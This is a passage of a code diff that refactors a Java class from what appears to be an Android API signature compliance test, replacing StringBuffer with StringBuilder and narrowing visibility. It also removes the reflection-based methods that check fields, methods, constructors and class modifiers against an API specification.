-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("transient");
+            sb.append(separator).append("transient");
+            separator = " ";
         }
         if ((modifiers & Modifier.VOLATILE) != 0) {
-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("volatile");
+            sb.append(separator).append("volatile");
+            separator = " ";
         }
         if ((modifiers & Modifier.SYNCHRONIZED) != 0) {
-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("synchronized");
+            sb.append(separator).append("synchronized");
+            separator = " ";
         }
         if ((modifiers & Modifier.NATIVE) != 0) {
-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("native");
+            sb.append(separator).append("native");
+            separator = " ";
         }
         if ((modifiers & Modifier.STRICT) != 0) {
-            if (isFirst) {
-                isFirst = false;
-            } else {
-                sb.append(" ");
-            }
-            sb.append("strictfp");
+            sb.append(separator).append("strictfp");
         }
 
         return sb.toString();
     }
 
-    public abstract static class JDiffElement {
+    abstract static class JDiffElement {
         final String mName;
         int mModifier;
 
-        public JDiffElement(String name, int modifier) {
+        JDiffElement(String name, int modifier) {
             mName = name;
             mModifier = modifier;
         }
@@ -264,7 +201,7 @@
      * Represents a  field.
      */
     public static final class JDiffField extends JDiffElement {
-        private String mFieldType;
+        String mFieldType;
         private String mFieldValue;
 
         public JDiffField(String name, String fieldType, int modifier, String value) {
@@ -287,12 +224,12 @@
          * @param className The specified class name.
          * @return A readable string to represent this field along with the class name.
          */
-        public String toReadableString(String className) {
+        String toReadableString(String className) {
             return className + "#" + mName + "(" + mFieldType + ")";
         }
 
         public String toSignatureString() {
-            StringBuffer sb = new StringBuffer();
+            StringBuilder sb = new StringBuilder();
 
             // access level
             String accesLevel = convertModifiersToAccessLevel(mModifier);
@@ -317,9 +254,9 @@
      * Represents a method.
      */
     public static class JDiffMethod extends JDiffElement {
-        protected String mReturnType;
-        protected ArrayList<String> mParamList;
-        protected ArrayList<String> mExceptionList;
+        String mReturnType;
+        ArrayList<String> mParamList;
+        ArrayList<String> mExceptionList;
 
         public JDiffMethod(String name, int modifier, String returnType) {
             super(name, modifier);
@@ -330,8 +267,8 @@
                 mReturnType = scrubJdiffParamType(returnType);
             }
 
-            mParamList = new ArrayList<String>();
-            mExceptionList = new ArrayList<String>();
+            mParamList = new ArrayList<>();
+            mExceptionList = new ArrayList<>();
         }
 
         /**
@@ -358,7 +295,7 @@
          * @param className The specified class name.
          * @return A readable string to represent this method along with the class name.
          */
-        public String toReadableString(String className) {
+        String toReadableString(String className) {
             return className + "#" + mName + "(" + convertParamList(mParamList) + ")";
         }
 
@@ -370,11 +307,11 @@
          */
         private static String convertParamList(final ArrayList<String> params) {
 
-            StringBuffer paramList = new StringBuffer();
+            StringBuilder paramList = new StringBuilder();
 
             if (params != null) {
                 for (String str : params) {
-                    paramList.append(str + ", ");
+                    paramList.append(str).append(", ");
                 }
                 if (params.size() > 0) {
                     paramList.delete(paramList.length() - 2, paramList.length());
@@ -385,7 +322,7 @@
         }
 
         public String toSignatureString() {
-            StringBuffer sb = new StringBuffer();
+            StringBuilder sb = new StringBuilder();
 
             // access level
             String accesLevel = convertModifiersToAccessLevel(mModifier);
@@ -445,14 +382,6 @@
             super(name, modifier, null);
         }
 
-        public JDiffConstructor(String name, String[] param, int modifier) {
-            super(name, modifier, null);
-
-            for (int i = 0; i < param.length; i++) {
-                addParam(param[i]);
-            }
-        }
-
         /**
          * Gets the return type.
          *
@@ -466,551 +395,6 @@
     }
 
     /**
-     * Checks test class's name, modifier, fields, constructors, and
-     * methods.
-     */
-    public void checkSignatureCompliance() {
-        checkClassCompliance();
-        if (mClass != null) {
-            mClassFieldMap = buildFieldMap(mClass);
-            checkFieldsCompliance();
-            checkConstructorCompliance();
-            checkMethodCompliance();
-        } else {
-            mClassFieldMap = null;
-        }
-    }
-
-    /**
-     * Checks to ensure that the modifiers value for two methods are
-     * compatible.
-     *
-     * Allowable differences are:
-     *   - synchronized is allowed to be removed from an apiMethod
-     *     that has it
-     *   - the native modified is ignored
-     *
-     * @param apiMethod the method read from the api file.
-     * @param reflectedMethod the method found via reflections.
-     */
-    private boolean areMethodsModifiedCompatible(JDiffMethod apiMethod ,
-            Method reflectedMethod) {
-
-        // If the apiMethod isn't synchronized
-        if (((apiMethod.mModifier & Modifier.SYNCHRONIZED) == 0) &&
-                // but the reflected method is
-                ((reflectedMethod.getModifiers() & Modifier.SYNCHRONIZED) != 0)) {
-            // that is a problem
-            return false;
-        }
-
-        // Mask off NATIVE since it is a don't care.  Also mask off
-        // SYNCHRONIZED since we've already handled that check.
-        int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT);
-        int mod1 = reflectedMethod.getModifiers() & ~ignoredMods;
-        int mod2 = apiMethod.mModifier & ~ignoredMods;
-
-        // We can ignore FINAL for classes
-        if ((mModifier & Modifier.FINAL) != 0) {
-            mod1 &= ~Modifier.FINAL;
-            mod2 &= ~Modifier.FINAL;
-        }
-
-        return mod1 == mod2;
-    }
-
-    /**
-     * Checks that the method found through reflection matches the
-     * specification from the API xml file.
-     */
-    private void checkMethodCompliance() {
-        for (JDiffMethod method : jDiffMethods) {
-            try {
-
-                Method m = findMatchingMethod(method);
-                if (m == null) {
-                    mResultObserver.notifyFailure(FailureType.MISSING_METHOD,
-                            method.toReadableString(mAbsoluteClassName),
-                            "No method with correct signature found:" +
-                            method.toSignatureString());
-                } else {
-                    if (m.isVarArgs()) {
-                        method.mModifier |= METHOD_MODIFIER_VAR_ARGS;
-                    }
-                    if (m.isBridge()) {
-                        method.mModifier |= METHOD_MODIFIER_BRIDGE;
-                    }
-                    if (m.isSynthetic()) {
-                        method.mModifier |= METHOD_MODIFIER_SYNTHETIC;
-                    }
-
-                    // FIXME: A workaround to fix the final mismatch on enumeration
-                    if (mClass.isEnum() && method.mName.equals("values")) {
-                        return;
-                    }
-
-                    if (!areMethodsModifiedCompatible(method, m)) {
-                        mResultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
-                                method.toReadableString(mAbsoluteClassName),
-                                "Non-compatible method found when looking for " +
-                                method.toSignatureString());
-                    }
-                }
-            } catch (Exception e) {
-                loge("Got exception when checking method compliance", e);
-                mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
-                        method.toReadableString(mAbsoluteClassName),
-                "Exception!");
-            }
-        }
-    }
-
-    /**
-     * Checks if the two types of methods are the same.
-     *
-     * @param jDiffMethod the jDiffMethod to compare
-     * @param method the reflected method to compare
-     * @return true, if both methods are the same
-     */
-    private boolean matches(JDiffMethod jDiffMethod, Method reflectedMethod) {
-        // If the method names aren't equal, the methods can't match.
-        if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
-            return false;
-        }
-        String jdiffReturnType = jDiffMethod.mReturnType;
-        String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
-        List<String> jdiffParamList = jDiffMethod.mParamList;
-
-        // Next, compare the return types of the two methods.  If
-        // they aren't equal, the methods can't match.
-        if (!jdiffReturnType.equals(reflectionReturnType)) {
-            return false;
-        }
-
-        Type[] params = reflectedMethod.getGenericParameterTypes();
-
-        // Next, check the method parameters.  If they have different
-        // parameter lengths, the two methods can't match.
-        if (jdiffParamList.size() != params.length) {
-            return false;
-        }
-
-        boolean piecewiseParamsMatch = true;
-
-        // Compare method parameters piecewise and return true if they all match.
-        for (int i = 0; i < jdiffParamList.size(); i++) {
-            piecewiseParamsMatch &= compareParam(jdiffParamList.get(i), params[i]);
-        }
-        if (piecewiseParamsMatch) {
-            return true;
-        }
-
-        /** NOTE: There are cases where piecewise method parameter checking
-         * fails even though the strings are equal, so compare entire strings
-         * against each other. This is not done by default to avoid a
-         * TransactionTooLargeException.
-         * Additionally, this can fail anyway due to extra
-         * information dug up by reflection.
-         *
-         * TODO: fix parameter equality checking and reflection matching
-         * See https://b.corp.google.com/issues/27726349
-         */
-
-        StringBuilder reflectedMethodParams = new StringBuilder("");
-        StringBuilder jdiffMethodParams = new StringBuilder("");
-
-        for (int i = 0; i < jdiffParamList.size(); i++) {
-            jdiffMethodParams.append(jdiffParamList.get(i));
-            reflectedMethodParams.append(params[i]);
-        }
-
-        String jDiffFName = jdiffMethodParams.toString();
-        String refName = reflectedMethodParams.toString();
-
-        return jDiffFName.equals(refName);
-    }
-
-    /**
-     * Finds the reflected method specified by the method description.
-     *
-     * @param method description of the method to find
-     * @return the reflected method, or null if not found.
-     */
-    @SuppressWarnings("unchecked")
-    private Method findMatchingMethod(JDiffMethod method) {
-        Method[] methods = mClass.getDeclaredMethods();
-
-        for (Method m : methods) {
-            if (matches(method, m)) {
-                return m;
-            }
-        }
-
-        return null;
-    }
-
-    /**
-     * Compares the parameter from the API and the parameter from
-     * reflection.
-     *
-     * @param jdiffParam param parsed from the API xml file.
-     * @param reflectionParamType param gotten from the Java reflection.
-     * @return True if the two params match, otherwise return false.
-     */
-    private static boolean compareParam(String jdiffParam, Type reflectionParamType) {
-        if (jdiffParam == null) {
-            return false;
-        }
-
-        String reflectionParam = typeToString(reflectionParamType);
-        // Most things aren't varargs, so just do a simple compare
-        // first.
-        if (jdiffParam.equals(reflectionParam)) {
-            return true;
-        }
-
-        // Check for varargs.  jdiff reports varargs as ..., while
-        // reflection reports them as []
-        int jdiffParamEndOffset = jdiffParam.indexOf("...");
-        int reflectionParamEndOffset = reflectionParam.indexOf("[]");
-        if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
-            jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
-            reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
-            return jdiffParam.equals(reflectionParam);
-        }
-
-        return false;
-    }
-
-    /**
-     * Checks whether the constructor parsed from API xml file and
-     * Java reflection are compliant.
-     */
-    @SuppressWarnings("unchecked")
-    private void checkConstructorCompliance() {
-        for (JDiffConstructor con : jDiffConstructors) {
-            try {
-                Constructor<?> c = findMatchingConstructor(con);
-                if (c == null) {
-                    mResultObserver.notifyFailure(FailureType.MISSING_METHOD,
-                            con.toReadableString(mAbsoluteClassName),
-                            "No method with correct signature found:" +
-                            con.toSignatureString());
-                } else {
-                    if (c.isVarArgs()) {// some method's parameter are variable args
-                        con.mModifier |= METHOD_MODIFIER_VAR_ARGS;
-                    }
-                    if (c.getModifiers() != con.mModifier) {
-                        mResultObserver.notifyFailure(
-                                FailureType.MISMATCH_METHOD,
-                                con.toReadableString(mAbsoluteClassName),
-                                "Non-compatible method found when looking for " +
-                                con.toSignatureString());
-                    }
-                }
-            } catch (Exception e) {
-                loge("Got exception when checking constructor compliance", e);
-                mResultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
-                        con.toReadableString(mAbsoluteClassName),
-                "Exception!");
-            }
-        }
-    }
-
-    /**
-     * Searches available constructor.
-     *
-     * @param jdiffDes constructor description to find.
-     * @return reflected constructor, or null if not found.
-     */
-    @SuppressWarnings("unchecked")
-    private Constructor<?> findMatchingConstructor(JDiffConstructor jdiffDes) {
-        for (Constructor<?> c : mClass.getDeclaredConstructors()) {
-            Type[] params = c.getGenericParameterTypes();
-            boolean isStaticClass = ((mClass.getModifiers() & Modifier.STATIC) != 0);
-
-            int startParamOffset = 0;
-            int numberOfParams = params.length;
-
-            // non-static inner class -> skip implicit parent pointer
-            // as first arg
-            if (mClass.isMemberClass() && !isStaticClass && params.length >= 1) {
-                startParamOffset = 1;
-                --numberOfParams;
-            }
-
-            ArrayList<String> jdiffParamList = jdiffDes.mParamList;
-            if (jdiffParamList.size() == numberOfParams) {
-                boolean isFound = true;
-                // i counts jdiff params, j counts reflected params
-                int i = 0;
-                int j = startParamOffset;
-                while (i < jdiffParamList.size()) {
-                    if (!compareParam(jdiffParamList.get(i), params[j])) {
-                        isFound = false;
-                        break;
-                    }
-                    ++i;
-                    ++j;
-                }
-                if (isFound) {
-                    return c;
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Checks all fields in test class for compliance with the API
-     * xml.
-     */
-    @SuppressWarnings("unchecked")
-    private void checkFieldsCompliance() {
-        for (JDiffField field : jDiffFields) {
-            try {
-                Field f = findMatchingField(field);
-                if (f == null) {
-                    mResultObserver.notifyFailure(FailureType.MISSING_FIELD,
-                            field.toReadableString(mAbsoluteClassName),
-                            "No field with correct signature found:" +
-                            field.toSignatureString());
-                } else if (f.getModifiers() != field.mModifier) {
-                    mResultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
-                            field.toReadableString(mAbsoluteClassName),
-                            "Non-compatible field modifiers found when looking for " +
-                            field.toSignatureString());
-                } else if (!checkFieldValueCompliance(field, f)) {
-                    mResultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
-                            field.toReadableString(mAbsoluteClassName),
-                            "Incorrect field value found when looking for " +
-                            field.toSignatureString());
-                }else if (!f.getType().getCanonicalName().equals(field.mFieldType)) {
-                    // type name does not match, but this might be a generic
-                    String genericTypeName = null;
-                    Type type = f.getGenericType();
-                    if (type != null) {
-                        genericTypeName = type instanceof Class ? ((Class) type).getName() :
-                            type.toString().replace('$', '.');
-                    }
-                    if (genericTypeName == null || !genericTypeName.equals(field.mFieldType)) {
-                        mResultObserver.notifyFailure(
-                                FailureType.MISMATCH_FIELD,
-                                field.toReadableString(mAbsoluteClassName),
-                                "Non-compatible field type found when looking for " +
-                                field.toSignatureString());
-                    }
-                }
-
-            } catch (Exception e) {
-                loge("Got exception when checking field compliance", e);
-                mResultObserver.notifyFailure(
-                        FailureType.CAUGHT_EXCEPTION,
-                        field.toReadableString(mAbsoluteClassName),
-                        "Exception!");
-            }
-        }
-    }
-
-    /**
-     * Checks whether the field values are compatible.
-     *
-     * @param apiField The field as defined by the platform API.
-     * @param deviceField The field as defined by the device under test.
-     */
-    private boolean checkFieldValueCompliance(JDiffField apiField, Field deviceField)
-            throws IllegalAccessException {
-        if ((apiField.mModifier & Modifier.FINAL) == 0 ||
-                (apiField.mModifier & Modifier.STATIC) == 0) {
-            // Only final static fields can have fixed values.
-            return true;
-        }
-        if (apiField.getValueString() == null) {
-            // If we don't define a constant value for it, then it can be anything.
-            return true;
-        }
-        // Some fields may be protected or package-private
-        deviceField.setAccessible(true);
-        switch(apiField.mFieldType) {
-            case "byte":
-                return Objects.equals(apiField.getValueString(),
-                        Byte.toString(deviceField.getByte(null)));
-            case "char":
-                return Objects.equals(apiField.getValueString(),
-                        Integer.toString(deviceField.getChar(null)));
-            case "short":
-                return Objects.equals(apiField.getValueString(),
-                        Short.toString(deviceField.getShort(null)));
-            case "int":
-                return Objects.equals(apiField.getValueString(),
-                        Integer.toString(deviceField.getInt(null)));
-            case "long":
-                return Objects.equals(apiField.getValueString(),
-                        Long.toString(deviceField.getLong(null)) + "L");
-            case "float":
-                return Objects.equals(apiField.getValueString(),
-                        canonicalizeFloatingPoint(
-                            Float.toString(deviceField.getFloat(null)), "f"));
-            case "double":
-                return Objects.equals(apiField.getValueString(),
-                        canonicalizeFloatingPoint(
-                            Double.toString(deviceField.getDouble(null)), ""));
-            case "boolean":
-                return Objects.equals(apiField.getValueString(),
-                        Boolean.toString(deviceField.getBoolean(null)));
-            case "java.lang.String":
-                String value = apiField.getValueString();
-                // Remove the quotes the value string is wrapped in
-                value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
-                return Objects.equals(value, deviceField.get(null));
-            default:
-                return true;
-        }
-    }
-
-    /**
-     * Canonicalize the string representation of floating point numbers.
-     *
-     * This needs to be kept in sync with the doclava canonicalization.
-     */
-    private static final String canonicalizeFloatingPoint(String val, String suffix) {
-        if (val.equals("Infinity")) {
-            return "(1.0" + suffix + "/0.0" + suffix + ")";
-        } else if (val.equals("-Infinity")) {
-            return "(-1.0" + suffix + "/0.0" + suffix + ")";
-        } else if (val.equals("NaN")) {
-            return "(0.0" + suffix + "/0.0" + suffix + ")";
-        }
-
-        String str = val.toString();
-        if (str.indexOf('E') != -1) {
-            return str + suffix;
-        }
-
-        // 1.0 is the only case where a trailing "0" is allowed.
-        // 1.00 is canonicalized as 1.0.
-        int i = str.length() - 1;
-        int d = str.indexOf('.');
-        while (i >= d + 2 && str.charAt(i) == '0') {
-            str = str.substring(0, i--);
-        }
-        return str + suffix;
-    }
-
-
-    // This unescapes the string format used by doclava and so needs to be kept in sync with any
-    // changes made to that format.
-    private static String unescapeFieldStringValue(String str) {
-        final int N = str.length();
-
-        // If there's no special encoding strings in the string then just return it.
-        if (str.indexOf('\\') == -1) {
-            return str;
-        }
-
-        final StringBuilder buf = new StringBuilder(str.length());
-        char escaped = 0;
-        final int START = 0;
-        final int CHAR1 = 1;
-        final int CHAR2 = 2;
-        final int CHAR3 = 3;
-        final int CHAR4 = 4;
-        final int ESCAPE = 5;
-        int state = START;
-
-        for (int i=0; i<N; i++) {
-            final char c = str.charAt(i);
-            switch (state) {
-                case START:
-                    if (c == '\\') {
-                        state = ESCAPE;
-                    } else {
-                        buf.append(c);
-                    }
-                    break;
-                case ESCAPE:
-                    switch (c) {
-                        case '\\':
-                            buf.append('\\');
-                            state = START;
-                            break;
-                        case 't':
-                            buf.append('\t');
-                            state = START;
-                            break;
-                        case 'b':
-                            buf.append('\b');
-                            state = START;
-                            break;
-                        case 'r':
-                            buf.append('\r');
-                            state = START;
-                            break;
-                        case 'n':
-                            buf.append('\n');
-                            state = START;
-                            break;
-                        case 'f':
-                            buf.append('\f');
-                            state = START;
-                            break;
-                        case '\'':
-                            buf.append('\'');
-                            state = START;
-                            break;
-                        case '\"':
-                            buf.append('\"');
-                            state = START;
-                            break;
-                        case 'u':
-                            state = CHAR1;
-                            escaped = 0;
-                            break;
-                    }
-                    break;
-                case CHAR1:
-                case CHAR2:
-                case CHAR3:
-                case CHAR4:
-                    escaped <<= 4;
-                    if (c >= '0' && c <= '9') {
-                        escaped |= c - '0';
-                    } else if (c >= 'a' && c <= 'f') {
-                        escaped |= 10 + (c - 'a');
-                    } else if (c >= 'A' && c <= 'F') {
-                        escaped |= 10 + (c - 'A');
-                    } else {
-                        throw new RuntimeException(
-                                "bad escape sequence: '" + c + "' at pos " + i + " in: \""
-                                + str + "\"");
-                    }
-                    if (state == CHAR4) {
-                        buf.append(escaped);
-                        state = START;
-                    } else {
-                        state++;
-                    }
-                    break;
-            }
-        }
-        if (state != START) {
-            throw new RuntimeException("unfinished escape sequence: " + str);
-        }
-        return buf.toString();
-    }
-
-
-    /**
-     * Finds the reflected field specified by the field description.
-     *
-     * @param field the field description to find
-     * @return the reflected field, or null if not found.
-     */
-    private Field findMatchingField(JDiffField field) {
-        return mClassFieldMap.get(field.mName);
-    }
-
-    /**
      * Gets the list of fields found within this class.
      *
      * @return the list of fields.
@@ -1020,217 +404,12 @@
     }
 
     /**
-     * Checks if the class under test has compliant modifiers compared to the API.
-     *
-     * @return true if modifiers are compliant.
-     */
-    private boolean checkClassModifiersCompliance() {
-        int reflectionModifier = mClass.getModifiers();
-        int apiModifier = mModifier;
-
-        // If the api class isn't abstract
-        if (((apiModifier & Modifier.ABSTRACT) == 0) &&
-                // but the reflected class is
-                ((reflectionModifier & Modifier.ABSTRACT) != 0) &&
-                // and it isn't an enum
-                !isEnumType()) {
-            // that is a problem
-            return false;
-        }
-        // ABSTRACT check passed, so mask off ABSTRACT
-        reflectionModifier &= ~Modifier.ABSTRACT;
-        apiModifier &= ~Modifier.ABSTRACT;
-
-        if (isAnnotation()) {
-            reflectionModifier &= ~CLASS_MODIFIER_ANNOTATION;
-        }
-        if (mClass.isInterface()) {
-            reflectionModifier &= ~(Modifier.INTERFACE);
-        }
-        if (isEnumType() && mClass.isEnum()) {
-            reflectionModifier &= ~CLASS_MODIFIER_ENUM;
-        }
-
-        return ((reflectionModifier == apiModifier) &&
-                (isEnumType() == mClass.isEnum()));
-    }
-
-    /**
-     * Checks if the class under test is compliant with regards to
-     * annnotations when compared to the API.
-     *
-     * @return true if the class is compliant
-     */
-    private boolean checkClassAnnotationCompliace() {
-        if (mClass.isAnnotation()) {
-            // check annotation
-            for (String inter : implInterfaces) {
-                if ("java.lang.annotation.Annotation".equals(inter)) {
-                    return true;
-                }
-            }
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Checks if the class under test extends the proper classes
-     * according to the API.
-     *
-     * @return true if the class is compliant.
-     */
-    private boolean checkClassExtendsCompliance() {
-        // Nothing to check if it doesn't extend anything.
-        if (mExtendedClass != null) {
-            Class<?> superClass = mClass.getSuperclass();
-
-            while (superClass != null) {
-                if (superClass.getCanonicalName().equals(mExtendedClass)) {
-                    return true;
-                }
-                superClass = superClass.getSuperclass();
-            }
-            // Couldn't find a matching superclass.
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Checks if the class under test implements the proper interfaces
-     * according to the API.
-     *
-     * @return true if the class is compliant
-     */
-    private boolean checkClassImplementsCompliance() {
-        Class<?>[] interfaces = mClass.getInterfaces();
-        Set<String> interFaceSet = new HashSet<String>();
-
-        for (Class<?> c : interfaces) {
-            interFaceSet.add(c.getCanonicalName());
-        }
-
-        for (String inter : implInterfaces) {
-            if (!interFaceSet.contains(inter)) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * Validate that an interfaces method count is as expected.
-     */
-    private List<String> checkInterfaceMethodCompliance() {
-        List<String> unexpectedMethods = new ArrayList<>();
-        for (Method method : mClass.getDeclaredMethods()) {
-            if (method.isDefault()) {
-                continue;
-            }
-            if (method.isSynthetic()) {
-                continue;
-            }
-            if (method.isBridge()) {
-                continue;
-            }
-            if (HIDDEN_INTERFACE_WHITELIST.contains(method.toGenericString())) {
-                continue;
-            }
-
-            boolean foundMatch = false;
-            for (JDiffMethod jdiffMethod : jDiffMethods) {
-                if (matches(jdiffMethod, method)) {
-                    foundMatch = true;
-                }
-            }
-            if (!foundMatch) {
-                unexpectedMethods.add(method.toGenericString());
-            }
-        }
-
-        return unexpectedMethods;
-
-    }
-
-    /**
-     * Checks that the class found through reflection matches the
-     * specification from the API xml file.
-     */
-    @SuppressWarnings("unchecked")
-    private void checkClassCompliance() {
-        try {
-            mAbsoluteClassName = mPackageName + "." + mShortClassName;
-            mClass = findMatchingClass();
-
-            if (mClass == null) {
-                // No class found, notify the observer according to the class type
-                if (JDiffType.INTERFACE.equals(mClassType)) {
-                    mResultObserver.notifyFailure(FailureType.MISSING_INTERFACE,
-                            mAbsoluteClassName,
-                            "Classloader is unable to find " + mAbsoluteClassName);
-                } else {
-                    mResultObserver.notifyFailure(FailureType.MISSING_CLASS,
-                            mAbsoluteClassName,
-                            "Classloader is unable to find " + mAbsoluteClassName);
-                }
-
-                return;
-            }
-
-            List<String> methods = checkInterfaceMethodCompliance();
-            if (JDiffType.INTERFACE.equals(mClassType) && methods.size() > 0) {
-                mResultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
-                        mAbsoluteClassName, "Interfaces cannot be modified: "
-                                + mAbsoluteClassName + ": " + methods);
-                return;
-            }
-
-            if (!checkClassModifiersCompliance()) {
-                logMismatchInterfaceSignature(mAbsoluteClassName,
-                        "Non-compatible class found when looking for " +
-                        toSignatureString());
-                return;
-            }
-
-            if (!checkClassAnnotationCompliace()) {
-                logMismatchInterfaceSignature(mAbsoluteClassName,
-                "Annotation mismatch");
-                return;
-            }
-
-            if (!mClass.isAnnotation()) {
-                // check father class
-                if (!checkClassExtendsCompliance()) {
-                    logMismatchInterfaceSignature(mAbsoluteClassName,
-                    "Extends mismatch");
-                    return;
-                }
-
-                // check implements interface
-                if (!checkClassImplementsCompliance()) {
-                    logMismatchInterfaceSignature(mAbsoluteClassName,
-                    "Implements mismatch");
-                    return;
-                }
-            }
-        } catch (Exception e) {
-            loge("Got exception when checking field compliance", e);
-            mResultObserver.notifyFailure(
-                    FailureType.CAUGHT_EXCEPTION,
-                    mAbsoluteClassName,
-                    "Exception!");
-        }
-    }
-
-
-    /**
      * Convert the class into a printable signature string.
      *
      * @return the signature string
      */
     public String toSignatureString() {
-        StringBuffer sb = new StringBuffer();
+        StringBuilder sb = new StringBuilder();
 
         String accessLevel = convertModifiersToAccessLevel(mModifier);
         if (!"".equals(accessLevel)) {
@@ -1268,92 +447,22 @@
         return sb.toString();
     }
 
-    private void logMismatchInterfaceSignature(String classFullName, String errorMessage) {
-        if (JDiffType.INTERFACE.equals(mClassType)) {
-            mResultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE,
-                    classFullName,
-                    errorMessage);
-        } else {
-            mResultObserver.notifyFailure(FailureType.MISMATCH_CLASS,
-                    classFullName,
-                    errorMessage);
-        }
-    }
-
     /**
      * Sees if the class under test is actually an enum.
      *
      * @return true if this class is enum
      */
-    private boolean isEnumType() {
+    boolean isEnumType() {
         return "java.lang.Enum".equals(mExtendedClass);
     }
 
     /**
-     * Finds the reflected class for the class under test.
-     *
-     * @return the reflected class, or null if not found.
-     */
-    @SuppressWarnings("unchecked")
-    private Class<?> findMatchingClass() {
-        // even if there are no . in the string, split will return an
-        // array of length 1
-        String[] classNameParts = mShortClassName.split("\\.");
-        String currentName = mPackageName + "." + classNameParts[0];
-
-        try {
-            // Check to see if the class we're looking for is the top
-            // level class.
-            Class<?> clz = Class.forName(currentName,
-                    false,
-                    this.getClass().getClassLoader());
-            if (clz.getCanonicalName().equals(mAbsoluteClassName)) {
-                return clz;
-            }
-
-            // Then it must be an inner class.
-            for (int x = 1; x < classNameParts.length; x++) {
-                clz = findInnerClassByName(clz, classNameParts[x]);
-                if (clz == null) {
-                    return null;
-                }
-                if (clz.getCanonicalName().equals(mAbsoluteClassName)) {
-                    return clz;
-                }
-            }
-        } catch (ClassNotFoundException e) {
-            loge("ClassNotFoundException for " + mPackageName + "." + mShortClassName, e);
-            return null;
-        }
-        return null;
-    }
-
-    /**
-     * Searches the class for the specified inner class.
-     *
-     * @param clz the class to search in.
-     * @param simpleName the simpleName of the class to find
-     * @returns the class being searched for, or null if it can't be found.
-     */
-    private Class<?> findInnerClassByName(Class<?> clz, String simpleName) {
-        for (Class<?> c : clz.getDeclaredClasses()) {
-            if (c.getSimpleName().equals(simpleName)) {
-                return c;
-            }
-        }
-        return null;
-    }
-
-    /**
      * Sees if the class under test is actually an annotation.
      *
      * @return true if this class is Annotation.
      */
-    private boolean isAnnotation() {
-        if (implInterfaces.contains("java.lang.annotation.Annotation")) {
-            return true;
-        }
-        return false;
+    boolean isAnnotation() {
+        return implInterfaces.contains("java.lang.annotation.Annotation");
     }
 
     /**
@@ -1361,7 +470,7 @@
      *
      * @return the class name.
      */
-    public String getClassName() {
+    String getClassName() {
         return mShortClassName;
     }
 
@@ -1397,99 +506,11 @@
      *
      * @param extendsClass the class being extended.
      */
-    public void setExtendsClass(String extendsClass) {
+    void setExtendsClass(String extendsClass) {
         mExtendedClass = extendsClass;
     }
 
     /**
-     * Registers a ResultObserver to process the output from the
-     * compliance testing done in this class.
-     *
-     * @param resultObserver the observer to register.
-     */
-    public void registerResultObserver(ResultObserver resultObserver) {
-        mResultObserver = resultObserver;
-    }
-
-    /**
-     * Converts WildcardType array into a jdiff compatible string..
-     * This is a helper function for typeToString.
-     *
-     * @param types array of types to format.
-     * @return the jdiff formatted string.
-     */
-    private static String concatWildcardTypes(Type[] types) {
-        StringBuffer sb = new StringBuffer();
-        int elementNum = 0;
-        for (Type t : types) {
-            sb.append(typeToString(t));
-            if (++elementNum < types.length) {
-                sb.append(" & ");
-            }
-        }
-        return sb.toString();
-    }
-
-    /**
-     * Converts a Type into a jdiff compatible String.  The returned
-     * types from this function should match the same Strings that
-     * jdiff is providing to us.
-     *
-     * @param type the type to convert.
-     * @return the jdiff formatted string.
-     */
-    private static String typeToString(Type type) {
-        if (type instanceof ParameterizedType) {
-            ParameterizedType pt = (ParameterizedType) type;
-
-            StringBuffer sb = new StringBuffer();
-            sb.append(typeToString(pt.getRawType()));
-            sb.append("<");
-
-            int elementNum = 0;
-            Type[] types = pt.getActualTypeArguments();
-            for (Type t : types) {
-                sb.append(typeToString(t));
-                if (++elementNum < types.length) {
-                    sb.append(", ");
-                }
-            }
-
-            sb.append(">");
-            return sb.toString();
-        } else if (type instanceof TypeVariable) {
-            return ((TypeVariable<?>) type).getName();
-        } else if (type instanceof Class) {
-            return ((Class<?>) type).getCanonicalName();
-        } else if (type instanceof GenericArrayType) {
-            String typeName = typeToString(((GenericArrayType) type).getGenericComponentType());
-            return typeName + "[]";
-        } else if (type instanceof WildcardType) {
-            WildcardType wt = (WildcardType) type;
-            Type[] lowerBounds = wt.getLowerBounds();
-            if (lowerBounds.length == 0) {
-                String name = "? extends " + concatWildcardTypes(wt.getUpperBounds());
-
-                // Special case for ?
-                if (name.equals("? extends java.lang.Object")) {
-                    return "?";
-                } else {
-                    return name;
-                }
-            } else {
-                String name = concatWildcardTypes(wt.getUpperBounds()) +
-                " super " +
-                concatWildcardTypes(wt.getLowerBounds());
-                // Another special case for ?
-                name = name.replace("java.lang.Object", "?");
-                return name;
-            }
-        } else {
-            throw new RuntimeException("Got an unknown java.lang.Type");
-        }
-    }
-
-    /**
      * Cleans up jdiff parameters to canonicalize them.
      *
      * @param paramType the parameter from jdiff.
@@ -1503,32 +524,8 @@
             .replace("? super java.lang.Object", "? super ?");
     }
 
-    /**
-     * Scan a class (an its entire inheritance chain) for fields.
-     *
-     * @return a {@link Map} of fieldName to {@link Field}
-     */
-    private static Map<String, Field> buildFieldMap(Class testClass) {
-        Map<String, Field> fieldMap = new HashMap<String, Field>();
-        // Scan the superclass
-        if (testClass.getSuperclass() != null) {
-            fieldMap.putAll(buildFieldMap(testClass.getSuperclass()));
-        }
-
-        // Scan the interfaces
-        for (Class interfaceClass : testClass.getInterfaces()) {
